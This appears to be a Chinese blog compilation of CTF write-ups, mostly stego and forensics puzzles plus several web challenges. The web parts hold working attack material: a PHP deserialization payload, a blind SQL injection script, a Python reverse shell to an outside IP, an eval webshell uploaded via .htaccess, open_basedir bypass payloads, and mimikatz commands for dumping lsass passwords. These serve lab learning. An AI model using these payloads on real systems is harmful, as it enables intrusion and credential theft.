第五空间WEBFTP pklovecloud

https://github.com/wifeat/WebFTP

github上有源码 上头说到了初始账号和密码

a1.PNG

登不进去
审一审源码

a3.PNG

1
2
然后意外地Readme/mytz.php?act=phpinfo

phpinfo里头就有flag了

a2.png

pklovecloud

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

class ace 这里会反序列化docker但是后面

1
他访问的属性是class acp里面的

说明我们的docker里面得放acp序列化的内容

1
if($this->openstack->neutron === $this->openstack->nova) 判定条件里头说的
那么构造链条
1
2
3
4
5
6
7
8
9
<?php
class acp
{
protected $cinder;
public $neutron = 'a';
public $nova = 'a';
}
$a = new acp();
echo serialize($a);
1
得到:O:3:"acp":3:{s:9:"*cinder";N;s:7:"neutron";s:1:"a";s:4:"nova";s:1:"a";}
1
echo 会触发toString这样在析构方法里面把pkshow换成ace,从而换成ace的echo_name()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker = 'O:3:"acp":3:{s:9:"*cinder";N;s:7:"neutron";s:1:"a";s:4:"nova";s:1:"a";}';
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
}
$a = new acp();
echo urlencode(serialize($a));
1
得到?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D

查看源码就能拿到flag

a4.png

又是misc

[RCTF2019]draw

文本文档什么 cs pu lt 90 fd 500 有点熟悉 是你小乌龟
https://www.calormen.com/jslogo/ 配合这个使用将文档内容粘贴进去

225.PNG

蜘蛛侠呀

什么玩意抓包文件哪有蜘蛛侠(・∀・(・∀・(・∀・*)
不对 所有icmp包后面都跟了一串数据 tshark提取

1
tshark -r out.pcap -T fields -e data > data.txt

一个十兆多的文档很划算9兆的文件生成10兆的文档 有重复

226.PNG

搞脚本去重

1
2
3
4
5
6
7
8
9
10
11
12
13
14
with open('data.txt', 'r') as file:
res_list = []
lines = file.readlines()
print('[+]去重之前一共{0}行'.format(len(lines)))
print('[+]开始去重,请稍等.....')
for i in lines:
if i not in res_list:
res_list.append(i)
print('[+]去重后一共{0}行'.format(len(res_list)))
print(res_list)

with open('data1.txt', 'w') as new_file:
for j in res_list:
new_file.write(j)

227.PNG

六万多行直接没掉了 因为wireshark是直接将十六进制导出还得转一下

1
2
3
4
5
6
import binascii

with open('data1.txt','r') as file:
with open('data2.txt','wb') as data:
for i in file.readlines():
data.write(binascii.unhexlify(i[:-1]))

十六转字符
将$$START$$ 和首末行 还有换行删掉 用word 查找替换 换行符是^p
base64 解一下是压缩文件

228.PNG

1
2
3
4
5
import base64

with open('data2.txt','rb') as file:
with open('data.zip','wb') as new_file:
new_file.write(base64.b64decode(file.read()))

用脚本将其转为base64在写入压缩文件中解压缩

终于看到蜘蛛侠了 然后就不会了看别人的去
这是时间隐写 用Linux下的identify -format “%T” flag.gif
得到这么一串
2050502050502050205020202050202020205050205020502050205050505050202050502020205020505050205020206666
20->0 50->1
011011010100010000110101010111110011000101110100

247.PNG

[MRCTF2020]不眠之夜

一堆散掉的图 拼图题 单张分辨率200*100 共120张 长10张 宽12张 拼起来总图长2000宽1200
用momtage 和gaps

1
2
montage *jpg -tile 10x12 -geometry 200x100+0+0 flag.jpg
gaps --image=flag.jpg --generations=40 --population=120 --size=100

248.PNG

[ACTF新生赛2020]明文攻击

解压缩拿到图和包 题目描述明文攻击
图片010打开发现 末尾一段类似压缩包的在最后一个32后面添加文件头50 4B 拿到压缩包

249.PNG

俩包CRC值是一样的

250.PNG

也说了明文攻击很明显了 用那个advanced什么的来跑就可以了

251.PNG

[安洵杯 2019]easy misc

read里面一大堆的英语文档 应该是存在字频隐写
加密的压缩包打开有一段注释

计算得7+NNULULL 前七位可能是数字用掩码破解

252.PNG

拿到文档

1
2
3
4
5
6
7
8
9
10
b = sSD
c = adE
d = jVf
e = QW8
f = SA=
g = jBt
h = 5RE
i = tRQ
j = SPA
k = 8DS

字频没错了
小姐姐.png 010发现有两张图片分离出来 然后就不会了
看了别人的发现是盲水印

1
2
.\bwm.py decode .\1.png .\2.png res.png
image<.\1.png> + image(encoded)<.\2.png> -> watermark<res.png>

拿到个图

253.PNG

然后拿11.txt的字频 hint里说取前十六个字符 etaonrhisdluygw就是这几个

和刚才的decode.txt进行对照
1
2
3
4
5
6
7
code_str = 'etaonrhisdluygw'
code_dict = {'a':'dIW','b':'sSD','c':'adE ','d':'jVf','e':'QW8','f':'SA=','g':'jBt','h':'5RE','i':'tRQ','j':'SPA','k':'8DS','l':'XiE','m':'S8S','n':'MkF','o':'T9p','p':'PS5','q':'E/S','r':'-sd','s':'SQW','t':'obW','u':'/WS','v':'SD9','w':'cw=','x':'ASD','y':'FTa','z':'AE7'}
base_str=''
for i in code_str:
i = code_dict[i]
base_str += i
print(base_str)

QW8obWdIWT9pMkF-sd5REtRQSQWjVfXiE/WSFTajBtcw=

去掉无效字符- 然后怎么解码都没有结果
看别人的wp都有 离谱玩意

[MRCTF2020]Hello_ misc

图和包 图的红通道0拿到一张图 然后文件分离拿到压缩包

254.PNG

解压成功 然后out.txt都是127 255 63 191 TTL隐写

00 替代63 01 替代127 10 替代191 11 替代255
脚本走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
with open('out.txt') as f:
lines = f.readlines()
n_num = []
#分析出所有的数
for i in lines:
if i!='\n':
n_num.append(int(i))
#拿到每个TTL值的高位
rlt = ''
for i in range(0,len(lines)):
tmp = bin(n_num[i])[2:]
tmp = '0'*(8-len(tmp)) + tmp
rlt += tmp[0:2]
#得到最终的结果并存到文件中
rlt2 = ''
for i in range(0,len(rlt),8):
rlt2 += chr(int(rlt[i:i+8],2))
with open('fi.txt','w') as f:
f.write(rlt2.rstrip())

拿到压缩包密码

255.PNG

解压后还是一个压缩包再解压 变成一堆的文档 有word doc 那么这个包原本应该是doc格式
改格式可以打开然后全选换一下颜色一些base64码
转码发现都是0和1 将所有的1换成空格

1
2
3
4
5
6
import base64

with open('flag.txt','r') as file:
for i in file.readlines():
line = str(base64.b64decode(i),'utf8')
print(line.replace('1',' '))

flag 到手

257.PNG

[MRCTF2020]Unravel!!

图和包标准配置 还有个音频 wav用010打开然后末尾一串类似于base64的

解码发现是salted开头的 好aes或者des加密

图片分离一下图和压缩包 压缩包解压的到这个

258.PNG

那就是aes了 http://www.metools.info/code/c24.html

259.PNG

拿到解压密码 解压也是wav 丢010 末尾有一串不知道是什么的

直接丢silenteye decode一下 ok

260.PNG

WUSTCTF2020]spaceclub

全选一下就能看出东西来

261.PNG

短的0长的1

011101110110001101110100011001100011001000110000001100100011000001111011011010000011001101110010011001010101111100110001011100110101111101111001001100000111010101110010010111110110011001101100010000000110011101011111011100110011000101111000010111110111001100110001011110000101111101110011001100010111100001111101

二进制转字符就可以了

派大星的烦恼

题目提示了重点在0x22 0x44
010打开将所有的 22 44 复制出来

1
2
3
4
5
6
7
infile = open("321.txt", "r")
outfile = open("312.txt", "w")
for line in infile:
outfile.write(line.replace('22','0'))
#outfile.write(line.replace('44','1'))
infile.close()
outfile.close()

然后替换一下 得到新文本
http://www.txttool.com/wenben_alltrim.asp 去掉空格
https://www.qqxiuzi.cn/zh/daoxu/ 将文本逆序一下
然后二进制转字符
再逆序一下就可以了

[湖南省赛2019]Findme

首先五张图 1.png简直不是图 先解决他
首先crc校验就有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import zlib
import struct
file = '1.png'
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = 0xC4ED3
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
print(data)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close

用脚本修复一下 然后提示chunk[2][3]提示有问题发现缺了IDAT
添加一下

拿到原图

262.PNG

拿到二维码

263.PNG

获得如下内容ZmxhZ3s0X3

2.png 文件末尾的37 7A 03 04 这个和zip的50 4B 03 04 的文件头有点像

264.PNG

修改试一下 改一个还不行

全部改掉改成PK

265.PNG

解压得到大量文档按大小排618.txt不太对劲 You find it: 1RVcmVfc 第二串

**3.png **
它的crc值和其他人不太一样 抓出来转成字符一下看看

267.PNG

268.PNG

3RlZ30= 第三串

4.png

269.PNG

cExlX1BsY=

5.png

270.PNG

Yzcllfc0lN

1 5 4 2 3 组合

271.PNG

[ACTF新生赛2020]music

说是m4a格式 但是打不开啊 ╮(╯▽╰)╭
010和正经的m4a对比一下

276.PNG

左边正常 右边这题给的文件

很多的A1 用010的十六进制计算工具将所有的A1进行异或

277.PNG

就拿到原本的文件了

听出flag

[UTCTF2020]zero

278.PNG

提示gbk什么的 然后题目也说了zero 零 (・∀・(・∀・(・∀・*)
有个玩意叫做零宽度字符隐写
https://330k.github.io/misc_tools/unicode_steganography.html
就能拿到flag

page

这是二次注入的关卡 就register.php那边需要用户名 但是登录过程不需要

登陆后可以看到用户名 测试了一下用户名那边过滤了information 和逗号

好再来学一个神奇的sql方式

通过hex将数据库的名字转成十六进制输出

272.PNG

用户名:’+hex(database())+’

273.PNG

数据库名字web

在本地测试下。发现一次HEX。字符串还是会存在英文。会退出。那就2次hex。发现变成了科学计数法。用substr截取就可以了。

274.PNG

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://127.0.0.1/sqli-labs/Less-8"

normalHtmlLen = len(requests.get(url=url+"?id=1").text)

print(str(normalHtmlLen))

dbNameLen = 0
while True:
dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print(dbNameLen)
break
if dbNameLen == 30:
print("ERROR")
break

dbNameLen +=1

结果两次转码一下就完成了

275.PNG

一大堆的misc 很大一堆

间谍启示录
这题很奇怪就瞎找 镜像文件装载一下 一堆的隐藏文件
一堆的东西啥都么有除了systemzx.exe可以运行但还提示权限之类的将要销毁
丢010 发现还含有压缩包 直接解压 flag.exe丢010 查找一下就能找到了
[ACTF新生赛2020]swp
这个也简单 导出为http然后那一堆的文件有个压缩包解压缩一下 文件丢010 搜索一下就能找到flag
[安洵杯 2019]吹着贝斯扫二维码
压缩包里有一串注释
吹个鬼的base文件一堆没有格式 老伙计010 哟是jpg 那就批处理文件

1
ren *.* *.jpg 另存为.bat就能全部变成jpg 然后漫长的拼图时间 

┗|`O′|┛

143.PNG

144.PNG

给了这么串信息BASE Family Bucket ??? 85->64->85->13->16->32
应该是压缩包的注释通过base85 再64 等等等
还原回去 底下还有From Base85

145.PNG

密码正确 flag到手

[DDCTF2018](╯°□°)╯︵ ┻━┻
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
长度为134的字符串 按每两位截取的十六进制
转为十进制 发现都是大于128的数应该是ascii码 减去128 将得到ascii转换成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding:utf-8 -*-

# author: mochu7

def hex_str(str):#对字符串进行切片操作,每两位截取
hex_str_list=[]
for i in range(0,len(str)-1,2):
hex_str=str[i:i+2]
hex_str_list.append(hex_str)
print("hex列表:%s\n"%hex_str_list)
hex_to_str(hex_str_list)

def hex_to_str(hex_str_list):
int_list=[]
dec_list=[]
flag=''
for i in range(0,len(hex_str_list)):#把16进制转化为10进制
int_str=int('0x%s'%hex_str_list[i],16)
int_list.append(int_str)
dec_list.append(int_str-128)#-128得到正确的ascii码
for i in range(0,len(dec_list)):#ascii码转化为字符串
flag += chr(dec_list[i])
print("转化为十进制int列表:%s\n"%int_list)
print("-128得到ASCII十进制dec列表:%s\n"%dec_list)
print('最终答案:%s'%flag)

if __name__=='__main__':
str='d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd'
print("字符串长度:%s"%len(str))
hex_str(str)

参考:https://blog.csdn.net/mochu7777777/article/details/105324802

百里挑一
导出的一大堆的图片一点用都没有┗|`O′|┛
先利用之前群里大佬分享的flag寻找工具找到一半flag

173.PNG

然后开始很恶心人的时候了一个流一个流找 拿到另一半

174.PNG

flag{ae58d0408e26e8f26a3c0589d23edeec}

[WUSTCTF2020]爬
拿到无格式文件010 是个pdf 添加格式后 打开提示flag被图片覆盖了
pdf转word发现图片底下还有个图片 取消组合然后将另一张图的是是一串十六进制图片识别复制转 ok

[安洵杯 2019]Attack
又是抓包文件 这居然还是个压缩包但是另一个文件解不出来
从抓包文件找 到处http然后有个lsass.dmp lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
这个可以获取到管理员的密码
mimikatz这个软件内网渗透工具 可以在lsass.exe中获取windows账号的密码

管理员身份运行

然后输入如下命令

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
将dmp和这个exe放在同路径下
获得到密码就可以解压缩那个抓包文件了

175.PNG

[MRCTF2020]千层套路
真的千层套路 烦死了压缩包完又是压缩包
上脚本

1
2
3
4
5
6
7
import zipfile
name = '0573'
while True:
fz = zipfile.ZipFile(name + '.zip', 'r')
fz.extractall(pwd=bytes(name, 'utf-8'))
name = fz.filelist[0].filename[0:4]
fz.close()

总共六百多个压缩包 最后一个qr.zip 解压得到文本文档
有很多的(255,255,255)应该是rgb信息然后255,255,255是黑色的二维码没错了
上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

x = 200 #x坐标 通过对txt里的行数进行整数分解
y = 200 #y坐标 x * y = 行数

im = Image.new("RGB", (x, y)) #创建图片
file = open('qr.txt') #打开rbg值的文件

#通过每个rgb点生成图片

for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
if line=='(255, 255, 255)\n': # 粗暴的赋值……处理字符串实在麻烦
rgb=[255,255,255]
else:
rgb = [0, 0, 0]
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #将rgb转化为像素

im.save('flag.jpg')

完成

[SUCTF 2019]Game
两个文件一个图一个文档 文档用之前群里的工具找到flag 但是是假的 ╮(╯▽╰)╭

178.PNG

图片那边各通道的零那边找到一串base64码

U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==

但是解码后是什么salted 看这串开头是

1
usfsd那么应该是aes或者3des加密

密钥找来找去也就只有那个假的flag了

177.PNG

解密成功

[MRCTF2020]CyberPunk
又是赛博朋克 气死我了看到这个游戏就烦
打开exe说得到9 17 日才能拿到flag 哈哈天真了他又跳票了
还读取了我的系统时间那就改系统时间 就好了

[WUSTCTF2020]girlfriend
音频题 听声音是拨号盘按键音上软件 DTMF2NUM
可以识别按键音按了些什么

212.PNG

999 666 88 2 777 33 6 999 4 4444 777 555 333 777 444 33 66 3 7777

看样子是九键的样子 换成字母
youaremygirlfriends 不要脸还加s 啧

usb
拿到个rar包和ftm文件 但是题目又提示usb 压缩包虽然这么大但是解压出来东西就1kb 绝对有问题
遇事不决010 发现提示crc校验问题

213.PNG

然后刚才的ftm发现有**.pcap文件** 抓包文件
直接解压缩他 得到key.pcap usb数据包 用UsbKeyboardDataHacker https://github.com/WangYihang/UsbKeyboardDataHacker
提取内容 xinan

216.PNG

接下去解决压缩包crc校验问题 https://www.freebuf.com/column/199854.html
010 这边发现有个233.png 图片的文件块HEAD_TYPE应该是74 而不是7A

217.PNG

解压出图片 蓝色通道0那边找到一个二维码 ci{v3erf_0tygidv2_fc0}得到这个
剩下的就是看别人的wp了什么见都没见过

有维吉尼亚密码 还有栅栏密码

215.PNG

[SUCTF2018]followme
流量包 追踪流8000多个 什么都没有 导出为http对象
发现很多login%3f_= 的文件 感觉flag就在里面 上神奇的flag查找工具 还真找到了而且还真的对

185.PNG

[XMAN2018排位赛]通行证
一串base64 然后感觉需要栅栏和凯撒密码配合 试了好几组解密都不行
看了别人的 要先栅栏加密7位然后凯撒位移13位

[GUET-CTF2019]虚假的压缩包
两个包虚假的那个是伪加密 修改一下 得到这个
数学题
n = 33
e = 3
解26


答案是
看到n e 考虑rsa加密

1
2
3
4
5
6
7
8
9
10
11
import gmpy2

p=gmpy2.mpz(3)
q=gmpy2.mpz(11)
e=gmpy2.mpz(3)
l=(p-1)*(q-1)
d=gmpy2.invert(e,l)
c=gmpy2.mpz(26)
n=p*q
ans=pow(c,d,n)
print ans

得到数字5 应该就是另一个压缩包的密码
解压真实的压缩包拿到图片和一个文件 图片crc校验问题修改高度

194.PNG

1
拿到^5 异或5的标准 也是和刚才的加密一个思路 不过这边是单个字符
1
2
3
4
5
6
7
8
9
10
f1 = open('./cipher','r')
xor_data = f1.read()
f1.close()
dec_data = ""
for i in xor_data:
tmp = int(i,16) ^ 5
dec_data += hex(tmp)[2:]
f2 = open('./data.doc','wb')
f2.write(dec_data.decode('hex'))
f2.close()

拿到一个word文档改一下字体颜色就能看到flag

195.PNG

[SWPU2019]Network
一个十兆的文档打开都要好久
提示了network 然后好多63 127 255 191一直再重复
首先考虑就是TTL隐写
啥是TTL隐写?

1
2
3
IP报文在路由间穿梭的时候每经过一个路由,TTL就会减1,当TTL为0的时候,该报文就会被丢弃。
TTL所占的位数是8位,也就是0-255的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,
远远比上限255小得多,所以我们可以用TTL值的前两位来进行传输隐藏数据。

​ 如:须传送H字符,只需把H字符换成二进制,每两位为一组,每次填充到TTL字段的开头两位并把剩下的6位设置为1(xx111111),这样发4个IP报文即可传送1个字节。
所以TTL隐写中用到的四个值 00 111111(63) 01 111111(127) 10 111111 (191) 11 111111 (255) 解密时只需取前两位 然后转换成ascii

就是 00 替代63 01 替代127 10 替代191 11 替代255

然后老熟人脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import binascii
f=open("attachment.txt","r")
f2=open("aaa.txt","wb")
num=''
res=''
for i in f:
if int(i)==63:
num+="00"
if int(i)==127:
num+="01"
if int(i)==191:
num+="10"
if int(i)==255:
num+="11"
for j in range(0,len(num),8):
res += chr(int(num[j:j+8],2))#转换为字符
res = binascii.unhexlify(res)#unhexlify:从十六进制字符串返回二进制数据
f2.write(res)

得到的文档其实是个压缩包 改格式解压拿到一个很大串的base64套娃加密
慢慢解 或者脚本

1
2
3
4
5
6
7
8
9
10
11
12
# -*- encoding: utf-8 -*-

import base64

f = open('aaa.txt','rb').read()
while True:
f = base64.b64decode(f)
if b'{' in f:
print(f)
break
else:
continue

拿到flag

197.PNG

[GKCTF 2021]excel 骚操作
属实玩明白了
这个excel打开问我看到flag了吗? 当然没有 随便点了几个单元格发现有的有1有的没有

将单元格值为1的显示出来 ctrl+a 右键 设置单元格格式

199.PNG

然后所有的1就会显示出来 在将有1的单元格突出显示

200.PNG

选择这个然后突出显示单元格规则那边选择等于 等于1的自定义成黑色

201.PNG

202.PNG

你问我看到flag了吗? 看到了但是不知道这是什么┗|`O′|┛

看别人的wp 这玩意叫汉信码 中国编码网那边可以下载相应app扫码
妈的还要注册才给扫码
算了直接看别人拿到的flag

203.PNG

网鼎杯 2020 白虎组PicDown

抓包存在任意文件读取漏洞 发现可以直接读取flag 好了本题结束

并没有!!!
通过这个读取漏洞 获得当前进程执行命令
../../../../../proc/self/cmdline

1
2
3
4
5
6
7
8
/proc/pid/cmdline  包含了用于开始进程的命令  ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

https://blog.csdn.net/shenhuxi_yu/article/details/79697792 讲了linux proc/pid/信息说明

这是通过python2 执行app.py文件 读取看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

no_one _know_the_manager 这边可以执行shell命令但需要匹配secret_key 但是好像拿不到secret.txt
但是这边可以通过**/proc/pid/fd/** 读取这个目录包含了进程打开的每一个文件的链接
然后/proc/self/fd/3 读取这个拿到key
m6Bw1vdzVolP2IxqgbW2e3e4uKtOXZJodwvL7ji6Oic=

211.PNG

key是正确的
传入key和shell就可以执行了但是这边没有回显很烦
python 反弹shell

1
shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("117.21.200.166",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

需要url编码一下 然后出现ok就可以了

1
2
3
4
5
6
7
8
import socket
s=socket.socket()
s.connect(("117.21.200.166",1234)) #连接的服务器的ip地址,端口
for i in range(10):
com=input("command:")
s.send(com.encode()) #发送信息
d=s.recv(1024) #接受数据的大小
print(d.decode(),len(d))

用这个脚本连接
运行cat/flag

b01lers2020Welcome to Earth

好奇怪这题 首先一下页面一加载就die 然后查看源码发现发现chase
完全不同管七七八八的访问逻辑 页面是通过js来跳转的
到chase发现leftt -> shoot ->door
door这边一大堆选项 都是die不用点了
发现了这个 而且可以访问
然后也是不管那些逻辑 直接访问/open

继续访问/static/js/open_sesame.js
跟进到flaght 继续/static/js/fight.js

209.PNG

拿到被打乱的flag

208.PNG

1
2
3
4
5
6
7
8
9
10
#coding:utf-8
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

跑脚本 各种组合
最终flag {hey_boys_im_baaaaaaaaaack!}

不明所以的关卡

SUCTF 2019EasyWeb

ctf里面什么所谓的easy baby全是骗人的一点都不easy

正则直接过滤了所有的字母 可以用异或 取反 自增绕过
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这个网站讲了操作
但是这关 对长度限制 自增看样子不行了 用异或绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>

运行这个生成这串

1
G %86^%c1 E %86^%c3 T %86^%d2 _ %86^%d9  

组合一下就是

1
?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo 

这边各种限制 只能从**get_the_flag()**的函数下手
看到可以进行文件上传 但是过滤了后缀名 不能上传带有ph后缀的文件 php phtml都不行了

1
2
nginx的服务器,而且上传目录下有一个php文件,所以上传.user.ini
apache的服务器,应该上传.htaccess

这边是apache
还对内容进行了过滤 不能包含<? 而且这边版本问题

1
<script language="php"></script>

用不了
这边可以将一句话进行base64编码 然后.htaccess利用php伪协议进行解码
还有文件头检测 GIF89进行绕过 但是这边会有问题 上传的.htaccess文件无法生效
可以用

1
2
#define width 1337
#define height 1337 用注释进行绕过
1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
1
2
3
shell.aaa
GIF89a12 #加这个12 为了补足八字节满足base64编码规则
PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://1e70a83e-d624-4134-b4d2-407896936c60.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.aaa',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)



获得上传到的路径可以进行访问

206.PNG

然后还需要绕过

1
open_basedir

https://xz.aliyun.com/t/4720 这篇文章的payload可以直接使用

1
shell.aaa?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

207.PNG

然后访问这个this is the flag

1
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

就能拿到flag

WUSTCTF2020CV Maker

真不错这个页面打开的效果
注册提示了一堆warning 然而并没有sql注入 (;′⌒`)

登录后 有一个更换头像 感觉可以试试上传漏洞
可以上传图片马 然后抓包可以看到上传路径

204.PNG

上传不了.htaccess 试一下直接上传过程改格式

205.PNG

太好了 蚁剑连接 ok 拿到flag

HarekazeCTF2019encode_and_encode

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

